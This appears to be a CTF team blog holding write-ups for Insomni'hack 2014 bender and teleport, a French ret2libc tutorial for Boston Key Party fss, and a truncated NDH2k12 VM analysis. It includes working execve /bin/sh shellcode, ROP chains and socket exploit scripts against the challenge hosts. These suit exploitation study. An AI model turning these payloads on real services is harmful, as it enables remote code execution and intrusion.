To search

w3pwnz

w3pwnz, therefore we are

Monday, March 24 2014 13:53

Insomni'hack 2014 - bender & teleport writeups

In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.

bender

Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:
AVAIL ON 10.13.37.35:4003 | 10.13.37.25:4003
ASLR: YES NX:NO

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 10.13.37.35 4003

teleport

We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)
AVAIL ON 10.13.37.36:4000 10.13.37.26:4000
ASLR: NO NX: YES

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:

read_wrapper.png

This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
 
import sys
import struct
 
DATA_BASE = 0x08049130
 
#------------------------------------------------------------------------------
# Step 1: Setup .data with our execve parameters
#------------------------------------------------------------------------------
 
# 1.1: Recv to .data
 
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
 
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
 
sys.stdout.write(payload)
 
# 1.2: Send execve parameters & stage2 ropchain
 
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
 
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
 
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
 
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
 
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
 
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
 
sys.stdout.write(args_execve + stage2)
 
#------------------------------------------------------------------------------
# Step 2: Pivot to .data
#------------------------------------------------------------------------------
 
# 2.1: Pivot to .data
 
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
 
payload = payload.ljust(0x28, "\x00")                    # Padding
 
sys.stdout.write(payload)
 
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
 
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./sploit.py; cat -)|nc 10.13.37.36 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)

Tuesday, June 18 2013 21:14

Boston Key Party CTF 2013 - fss gainville - ROP pour les nuls

Je voulais faire un writeup sur le challenge fss gainville du CTF Boston Key Party 2013. Le but de ce billet n'est pas simplement de vous montrer comment j'ai résolu le challenge mais surtout de détailler au maximum les actions effectuées.

Je trouve régulièrement que les writeup sont peu détaillés et les noobs comme moi s'y perdent facilement, je vais donc essayer de détailler au maximum mes actions.

Nous avons à notre disposition le binaire ainsi que ce même binaire en écoute sur un port.

On se connecte sur le port pour voir comment réagit le programme, nous avons à faire à un choix multiple :

Welcome to Florida Gainesville Radio Flight Service Station

Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit

On va donc commencer par étudier le programme, la première étape est de voir à quel type de programme nous avons affaire :

root@kali:~/Challenges/BKP2013# file fss
fss: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xa3aba905ed1fdb52e05401dcef8c5fff670223a6, not stripped

Il s'agit donc d'un binaire linux 64 bits.

Le premier réflexe est de l'ouvrir dans IDA pour une analyse statique. On retrouve rapidement la fonction main où on voit l'appel d'une fonction spécifique pour chaque choix du programme :

ida_main

Il faut maintenant trouver la faille, deux possibilités : soit faire du fuzzing, l'idée est d'injecter des données aléatoires dans les entrées du programme, soit analyser de manière pragmatique le programme pour trouver la faille. Le code du programme étant assez court, j'ai parcouru l'ensemble des appels de fonctions jusqu'à trouver la faille.

On peux voir un débordement de tampon (buffer overflow) dans la fonction pirep via le read.

Maintenant que nous avons la faille, il ne reste plus qu'à exploiter. On passe l'outil checksec.sh (Téléchargeable ici) qui nous permet de voir les protections appliquées au binaire :

root@kali:~/Challenges/_Outils# ./checksec.sh --file /root/Challenges/BKP2013/fss
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   /root/Challenges/BKP2013/fss

Nous avons donc juste le NX enabled, c'est à dire que la stack n'est pas exécutable, il n'est donc pas question de mettre son shellcode dans notre buffer et de faire pointer EIP dessus.

La stratégie ici est justement de faire du ROP (Returned Oriented Programming) c'est à dire se servir du code du programme pour obtenir un shell (ou ce que l'on souhaite). On va utiliser une technique nommée Ret2libc, il s'agit de renvoyer notre programme vers une fonction de la libc telle que system ou execve pour lancer le programme de son choix. Pour cela il faudra simplement définir les bonnes valeurs dans les registres.

Notre stratégie :

  • récupérer l'adresse de la libc correspondant à la fonction execve
  • définir les registres pour l'appel à la fonction execve
  • faire appel à la fonction execve

1ere étape - Environnement de debug

La première chose à faire est de mettre en place un environnement de debug similaire à ce que l'on va trouver pour le challenge. Il nous faut donc mettre en écoute le programme sur un port et voir comment on peux faire pour y attacher gdb. Il existe sûrement plusieurs solutions pour effectuer cela, personnellement je passe par xinetd.

Pour cela ajouter un fichier de conf de ce type dans /etc/xinetd.d/

Service fss
{
        socket_type     = stream
        protocol        = tcp
        wait            = no
        user            = root
        server          = /root/Challenges/BKP2013/fss
}

Et ajouter le port qui va être en écoute pour ce service dans /etc/services

fss             5555/tcp

Pour debug le tout dans GDB, il suffira de s'attacher au processus.

Exemple d'un programme en python permettant de se connecter sur le port et en parallèle de debug :

import sys
import socket
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("192.168.1.12",5555 ))
raw_input("Si besoin de debug...")

Le raw_input nous permet de stopper le programme le temps d'aller chercher le pid du processus correspondant à notre connexion et de s'y attacher dans gdb.

root@kali:~/Challenges/_Outils# ps aux | grep fss
root     29649  0.0  0.0   3944   316 ?        Ss   22:55   0:00 fss
root     29655  0.0  0.0   7780   864 pts/6    S+   22:55   0:00 grep fss
root@kali:~/Challenges/_Outils# gdb
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
64-bit mode is default. Use the 32bits command if your target is 32 bits.
Edit the $64BITS variable in your .gdbinit file to switch to default 32-bit mode.
gdb$ attach 29649

Nous n'avons plus qu'à poser les breakpoints nécessaires et faire continuer dans gdb pour poursuivre notre programme. Vous remarquerez sur les prochains screenshots gdb que l'interface est un peu plus sexy que ce que vous pouvez peut-être connaitre. Pour que votre gdb ressemble également à cela, allez faire un tour ici et

2ème étape - La faille - Buffer Overflow

La faille ici est de type buffer overflow, c'est à dire que l'emplacement prévu pour notre buffer en mémoire est plus petit que ce qui nous est permis d'écrire. Ce qui nous permet d'aller écrire à des emplacements mémoire tels que l'adresse de retour de notre fonction appelée. Je ne vais pas détailler plus, il existe de nombreuses ressources sur le net à ce sujet (ici ou ici, par la même occasion vous pouvez parcourir l'ensemble de ces deux blogs, ça en vaut vraiment la peine).

La faille dans la fonction pirep : fonction_pirep

Et la démonstration dans gdb :

gdb$ r
        Welcome to Florida Gainesville Radio Flight Service Station
 
Would you like to:
1) File a flight plan
2) Open or Close a flight plan
3) List flight plans on file
4) Get airport weather information
5) Submit a PIREP
6) Quit
> 5
Please enter coded PIREP: UA /OV A /TM A /FL B /TP C / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report Type: Upper-AirLocation: A
Time: A
Flight Level: B
Aircraft Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
PIREP is now on file
 
Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x4141414141414141  RSP: 0x00007FFFFFFFE5E8  o d I t s Z a P c
  RDI: 0x00007FFFF7DD77A0  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FFFF7B21AF0  RIP: 0x000000000040171C
  R8 : 0x00007FFFF7FD9700  R9 : 0x00007FFFF7FD9700  R10: 0x4141414141414141  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFFFFFFE6F0  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
-----------------------------------------------------------------------------------------------------------------------------
0x000000000040171c in pirep ()
gdb$ x/gx $rsp
0x7fffffffe358:	0x4141414141414141

Nous pouvons donc spécifier l'adresse que l'on souhaite en adresse de retour de la fonction pirep.

3ème étape - Récupérer l'adresse de la fonction de notre libc

Comme je l'expliquais précédemment, le but va être d'appeler une fonction de la libc, pour cela il va falloir récupérer son adresse. Le programme étant soumis à l'ASLR (Address space layout randomization), la fonction ne sera jamais située au même endroit. Nous allons donc la récupérer dans la GOT (Global Offset Table), il s'agit d'une table qui lors du lancement du programme est remplie de manière dynamique avec les adresses des fonctions utilisées dans le programme (si vous souhaitez en savoir plus je vous renvoi vers cet excellent billet). Nous avons de la chance la GOT n'est pas soumies à l'ASLR, ces adresses ne changeront donc pas.

Nous pouvons retrouver les adresses de la GOT avec objdump :

root@kali:~/Challenges/BKP2013# objdump -R fss
 
fss:     file format elf64-x86-64
 
DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
00000000006021e8 R_X86_64_GLOB_DAT  __gmon_start__
00000000006022a0 R_X86_64_COPY     stdout
00000000006022a8 R_X86_64_COPY     stdin
0000000000602208 R_X86_64_JUMP_SLOT  strncmp
0000000000602210 R_X86_64_JUMP_SLOT  puts
0000000000602218 R_X86_64_JUMP_SLOT  write
0000000000602220 R_X86_64_JUMP_SLOT  strlen
0000000000602228 R_X86_64_JUMP_SLOT  printf
0000000000602230 R_X86_64_JUMP_SLOT  memset
0000000000602238 R_X86_64_JUMP_SLOT  read
0000000000602240 R_X86_64_JUMP_SLOT  __libc_start_main
0000000000602248 R_X86_64_JUMP_SLOT  fgets
0000000000602250 R_X86_64_JUMP_SLOT  strcmp
0000000000602258 R_X86_64_JUMP_SLOT  random
0000000000602260 R_X86_64_JUMP_SLOT  fflush
0000000000602268 R_X86_64_JUMP_SLOT  __isoc99_sscanf
0000000000602270 R_X86_64_JUMP_SLOT  atoi
0000000000602278 R_X86_64_JUMP_SLOT  exit

Et vérifier tout cela dans gdb :

gdb$ x/g 0x602210
0x602210 <puts@got.plt>:        0x00007ffff7abd060
gdb$ x/i puts
0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx

On voit donc qu' à l'adresse 0x602210 (notre GOT) nous avons un pointeur vers la fonction puts vers l'adresse 0x00007ffff7abd060. On peux le vérifier simplement en affichant la 1er ligne de commande de puts où nous retrouvons bien l'adresse vers laquelle la GOT pointe.

Par contre comme vous pouvez le voir, les autres fonctions de la libc, tel qu'execve dont nous avons besoin, n'apparaissent pas dans la GOT car elles ne sont pas utilisées par notre programme tout simplement. Pour retrouver l'adresse de la fonction qui nous intéresse nous allons donc devoir ruser. J'ai dis tout à l'heure qu'avec l'ASLR les adresses des fonctions étaient aléatoire mais par contre le décalage entre deux fonctions ne le sera pas. C'est à dire que nous pouvons calculer le décallage entre une fonction connue et la fonction choisie sur notre environnement de debug et appliquer ce décalage pour trouver l'adresse d'execve dans l'environnement du challenge du CTF.

gdb$ x/i puts
   0x7ffff7abd060 <puts>:       mov    QWORD PTR [rsp-0x18],rbx
gdb$ x/i execve
   0x7ffff7afef80 <execve>:     mov    eax,0x3b

Ci dessous, nous voyons que la fonction puts se situe dans notre contexte à l'adresse 0x7ffff7abd060 et notre fonction execve à l'adresse 0x7ffff7afef80. Nous avons donc un offset de 0x41f20 entre ces deux adresses. Si nous arrivons donc à récupérer l'adresse de puts nous pourrons alors connaitre l'adresse d'execve.

4ème étape - Le ROP

Comme je l'expliquais précédemment, ne pouvant pas exécuter notre shellcode à cause du NX, nous allons donc réutiliser des morceaux de code déjà présent dans le programme, chainés de manière spécifique pour exécuter des actions de notre choix. On appelle cela des gadgets, il existe plusieurs outils sur le net pour chercher ces gadgets. Vous en trouverez un très bien ici qui gère autant le x64 que des programmes x32 et pour vos programmes exclusivement x32 vous avez également celui ci.

Notre but va donc être, comme nous l'avons vu précédemment, de récupérer une adresse de la libc pour connaitre celle d'execve. Pour récupérer une adresse de la libc nous allons utiliser la fonction puts qui va écrire sur stdout la valeur pointée par l'adresse passée en argument de la fonction (man du puts).

A savoir : Sur une architecture x64 les arguments d'une fonction ne sont plus passés au travers de la stack mais au travers des registres. Dans l'ordre : RDI, RSI, RDX, RCX, R8, R9 puis ensuite sur la stack.

Notre but va donc être de passer l'adresse de la GOT d'une fonction de la libc dans RDI et d'executer la fonction puts.

Pour cela on va parcourir les gadgets à notre disposition au travers de l'outil rp++ et chercher ce qui pourrait nous intéresser. Le but étant de trouver un gadget nous permettant d'aller définir une valeur dans le registre RDI en sachant que nous contrôlons notre stack donc le registre RSP.

root@kali:~/Challenges/_Outils# ./rp-lin-x86 -f /root/Challenges/BKP2013/fss -r 3
Trying to open '/root/Challenges/BKP2013/fss'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
Using the Nasm syntax..
 
Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.
 
in LOAD
163 found.
 
A total of 163 gadgets found.
0x004018bf: add bl, dh ; ret  ;  (1 found)
0x0040143b: add byte [rax+0x29], cl ; retn 0x8948 ;  (1 found)
...
0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)
...

Dans l'ensemble des gagdets trouvé j'en repère un qui me parait intéressant :

0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)

Nous utilisons ici un gadget qui va manipuler le registre edi qui est la partie 32 bits du registre rdi, dans notre cas cela suffit car les adresses que l'on souhaite tiennent sur 32 bits (ex : 0x602210) mais si nous avions des adresses en 64 bits il faudrait trouver un gadget avec le registre rdi.

A savoir : Avec rp++ vous pouvez jouer sur la valeur de r pour avoir des gadgets avec plus ou moins d'instructions. Mais attention plus vous aurez d'instruction plus l'utilisation du gadget pourra devenir complexe.

Notre stack devra donc ressembler à cela : [addr_writable_srbp][gagdet][ JUNK][addr_base_got_libc][addr_call_puts]

Ce que j'appelle JUNK ici peut être n'importe quelle donnée, cela permet de combler l'instruction add rsp, 0x38 de notre gadget.

Pour vérifier tout cela, on va suivre le programme dans gdb. Pour cela on lance le programme qui va s’arrêter après la connexion au socket via le raw_input, ce qui va nous permettre de récuperer l'id du processus et de s'y attacher. On va placer un breakpoint en 0x40171c qui est l'adresse de l'instruction ret de pirep et vérifier ce que nous avons sur notre stack.

root@kali:~# ps aux | grep fss
root      4461  0.0  0.0   3944   312 ?        Ss   22:01   0:00 fss
root      4463  0.0  0.0   7780   860 pts/1    S+   22:01   0:00 grep fss
root@kali:~# exit
exit
gdb$ attach 4461
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFE00  RBX: 0x00007FAD4B2AC6C0  RBP: 0x0000000000000002  RSP: 0x00007FFF62DC42C8  o d I t s Z a P c
  RDI: 0x0000000000000000  RSI: 0x00007FAD4B4CD000  RDX: 0x0000000000001000  RCX: 0xFFFFFFFFFFFFFFFF  RIP: 0x00007FAD4AFF6A90
  R8 : 0x00000000FFFFFFFF  R9 : 0x0000000000000000  R10: 0x0000000000000022  R11: 0x0000000000000246  R12: 0x000000000000000A
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x00007FFF62DC4390
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fad4aff6a90 <read+16>:    cmp    rax,0xfffffffffffff001
   0x7fad4aff6a96 <read+22>:    jae    0x7fad4aff6ac9 <read+73>
   0x7fad4aff6a98 <read+24>:    ret
   0x7fad4aff6a99 <read+25>:    sub    rsp,0x8
   0x7fad4aff6a9d <read+29>:    call   0x7fad4b00f500
   0x7fad4aff6aa2 <read+34>:    mov    QWORD PTR [rsp],rax
   0x7fad4aff6aa6 <read+38>:    mov    eax,0x0
   0x7fad4aff6aab <read+43>:    syscall
-----------------------------------------------------------------------------------------------------------------------------
0x00007fad4aff6a90 in read () from /lib/x86_64-linux-gnu/libc.so.6
gdb$ b * 0x40171c
Breakpoint 1 at 0x40171c
gdb$ c
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x0000000000000000  RBP: 0x00000000006022C4  RSP: 0x00007FFF62DC4378  o d I t s Z a P c
  RDI: 0x00000000FFFFFFFF  RSI: 0x0000000000000000  RDX: 0x0000000000000000  RCX: 0x00007FAD4AFF6AF0  RIP: 0x000000000040171C
  R8 : 0x00007FAD4B4AF700  R9 : 0x00000000FFFFFFFF  R10: 0x0000000000000000  R11: 0x0000000000000246  R12: 0x0000000000400820
  R13: 0x00007FFF62DC4480  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x40171c <pirep+487>:        ret
   0x40171d <main>:     push   rbp
   0x40171e <main+1>:   mov    rbp,rsp
   0x401721 <main+4>:   sub    rsp,0x20
   0x401725 <main+8>:   mov    DWORD PTR [rbp-0x14],edi
   0x401728 <main+11>:  mov    QWORD PTR [rbp-0x20],rsi
   0x40172c <main+15>:  mov    edx,0x401c15
   0x401731 <main+20>:  mov    esi,0x401c2c
-----------------------------------------------------------------------------------------------------------------------------
 
Breakpoint 1, 0x000000000040171c in pirep ()
gdb$ x/50g $rsp
0x7fff62dc4378: 0x00000000004018b0      0x4242424242424242
0x7fff62dc4388: 0x4242424242424242      0x4242424242424242
0x7fff62dc4398: 0x4242424242424242      0x4242424242424242
0x7fff62dc43a8: 0x4242424242424242      0x0000000000602240
0x7fff62dc43b8: 0x000000000040174a      0x0000000049494949

on retrouve donc sur notre stack :

  • 0x4018b0 adresse de notre gadget
  • 0x424242.....424242 junk
  • 0x602240 adresse de la GOT dont on souhaite récupérer la valeur
  • 0x40174a <main+45>: call 0x400740 <puts@plt>

Voici donc le déroulement de notre programme après le ret :

0x4018b0 <__libc_csu_init+128>:      mov    edi,DWORD PTR [rsp+0x30]
0x4018b4 <__libc_csu_init+132>:      add    rsp,0x38
0x4018b8 <__libc_csu_init+136>:      ret
0x40174a <main+45>:  call   0x400740 <puts@plt>  avec RDI = 0x602240

Nous récupérons alors l'adresse de base de notre libc. Plus qu'à y ajouter l'offset calculé précédemment pour obtenir l'adresse d'execve.

Nous n'avons plus qu'à répéter l'opération pour exécuter execve en spécifiant en paramètre ce que l'on souhaite exécuter, pour notre exemple on va lancer un shell. Pour l'adresse pointant vers la chaine de caractères, plusieurs possibilités, vérifier si une chaine de ce type n'est pas déjà présente dans le programme. Dans ce cas là plus qu'à récupérer l'adresse, attention à ce que cette adresse soit dans une section non soumise à l'ASLR. Dans notre cas, nous allons rentrer la chaîne que l'on souhaite de toute pièce au travers du programme en utilisant le choix 1 qui va stocker son buffer en .bss

Pour être plus précis concernant la deuxième exploitation, nous allons appeler la fonction execve a qui on doit passer 3 arguments (man execve) mais en fait dans mon exploitation je n'en passe qu'un qui est la chaine du programme que je souhaite appelé (/bin/sh) car mes deux autres registres sont déjà à 0x0. Pour faire propre et plus fiable, il aurait fallut trouver les gadgets nécessaires pour définir les registres RSI et RDX correspondants aux deux autres arguments de la fonction execve.

5ème étape - L'exploitation finale

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
# Plusieurs possibilités pour debug :
# socat TCP4-LISTEN:4444,reuseaddr,fork 'SYSTEM:./fss'
# Configuration xinetd :
# - ajout du service dans /etc/xinetd/fss
# - ajout du port correspondant au service dans /etc/services
 
import sys
import socket
from struct import pack
import time
import re
import struct
 
def p(a):
    return pack('<Q', a)
 
fs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
fs.connect(("192.168.1.13",5555 ))
raw_input("Si besoin de debug...")
 
# ------ Etape 1 : Placer dans notre code /bin/sh ------
# Choix : 1) File a flight plan
# Type of Flight (IFR or VFR): /bin/sh
# Aircraft ID: Nimp
# Departure Airport: Nimp
# Destination Airport: Nimp
# Remarks: Nimp
# Flight Plan successfully filed
 
print "[*] Mise en place /bin/sh"
fs.send('1\n')
retour = fs.recv(4096)
fs.send('/bin/sh'+'\x00'+'\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
fs.send('Nimp\n')
retour = fs.recv(4096)
retour = fs.recv(4096)
 
# ------ Etape 2 : Leak des adresses de la libc au travers du buffer overflow ------
# gdb$ x/x puts
# 0x7f6dc6643060 <puts>:  0x6c8948e8245c8948
# gdb$ x/x execve
# 0x7f6dc6684f80 <execve>:        0x48050f0000003bb8
# 0x004018b0: mov edi, dword [rsp+0x30] ; add rsp, 0x38 ; ret  ;  (1 found)
 
fs.send('5\n')
retour = fs.recv(4096)
got_libc_puts=0x602210
offset_decallage=0x7f6dc6684f80-0x7f6dc6643060
call_puts=0x40174a
gadget=0x4018b0
 
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(got_libc_puts) + p(call_puts)+p(0x49494949)+"\n")
 
retour = fs.recv(4096)
retour = fs.recv(4096)
ref_libc=struct.unpack('<Q', retour[0:6]+'\x00\x00')
print "[*] Adresse libc puts :"+hex(ref_libc[0])
addr_execve=ref_libc[0]+offset_decallage
print "[*] Adresse execve :"+ hex(addr_execve)
 
# ------ Etape 3 : execve au travers du buffer overflow ------
 
addr_str_binsh=0x6022c4
fs.send('5\n')
retour = fs.recv(4096)
fs.send('UA /OV A /TM A /FL B /TP C / '+ 'A'*115+ p(0x6022c4) + p(gadget) + 'B'*48 + p(addr_str_binsh) + p(addr_execve)+ p(0x41414141) +"\n")
fs.send("cat /root/Challenges/BKP2013/flag\n")
retour = fs.recv(4096)
retour = fs.recv(4096)
print retour

Voila en espérant que j'ai été le plus clair possible, n’hésitez pas à laisser des commentaires si vous souhaitez que je complète certains éléments.

Merci à acez pour ce challenge, awe et Frizn pour leur relecture et djo et over pour leur super tools.

Sunday, March 25 2012 16:36

NDH2k12 Prequals - Another weird link - complex remote service

From: Piotr <piotr@megacortek.com>
To: w3pwnz <w3pwnz@megacortek.com>
Subject: Another weird link
Attachments : web3.ndh
Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named "sciteek-private.txt"
located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if
you are sucessfull, reply with a message entitled "complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.

Piotr


We disassembled it using the unlocked VM tool (cf. Unknown zip archive), and used the following python script to patch call format:

#!/usr/bin/env python
 
import sys
import re
 
def rel(line, size=4):
    fro, off = re.findall("0x([0-9a-f]{1,4})", line)
    ifro, ioff = int(fro, 16), int(off, 16)
 
    if ioff > 0x8000:
        ioff = ioff - 0x10000
 
    ito = ifro + 4 + ioff
    line = line.replace(off, format(ito, "04x"))
 
    return line
 
if __name__=="__main__":
    for line in open(sys.argv[1]).readlines():
        if " call" in line:
            print rel(line),
        else:
            print line,

Result:

[...]
0x8497: call 0x84ed
0x849b: mov r0, r2
0x849f: movl r1, #0x847c
0x84a4: movb r2, #0x03
0x84a8: call 0x80c0
0x84ac: cmpb r0, #00
0x84b0: jnz 0x0009
0x84b3: movl r0, #0x8400
0x84b8: call 0x8179
0x84bc: end
0x84bd: pushl #beef  ; Push a canary
0x84c2: nop
0x84c3: mul r2, r4
0x84c7: nop
0x84c8: .byte 0x00
0x84c9: .byte 0x00
0x84ca: .byte 0x00
0x84cb: mov r1, r8
0x84cf: movl r2, #0x03fc  ; Read 1020 bytes
0x84d4: call 0x81d8
0x84d8: mov r0, r1
0x84dc: addl r8, #0200
0x84e1: pop r1
0x84e3: cmpl r1, #beef
0x84e8: jz 0x0001
0x84eb: end
0x84ec: ret
0x84ed: subl r8, #0200 ; Reserve 512 bytes
0x84f2: call 0x84bd
0x84f6: addl r8, #0200                                                
0x84fb: ret

We begin with the call @0x8497, follow it to 0x84ed where 512 bytes are reserved on the stack. A fixed canary “0xbeef” is then pushed on the stack, it calls the following function: read()

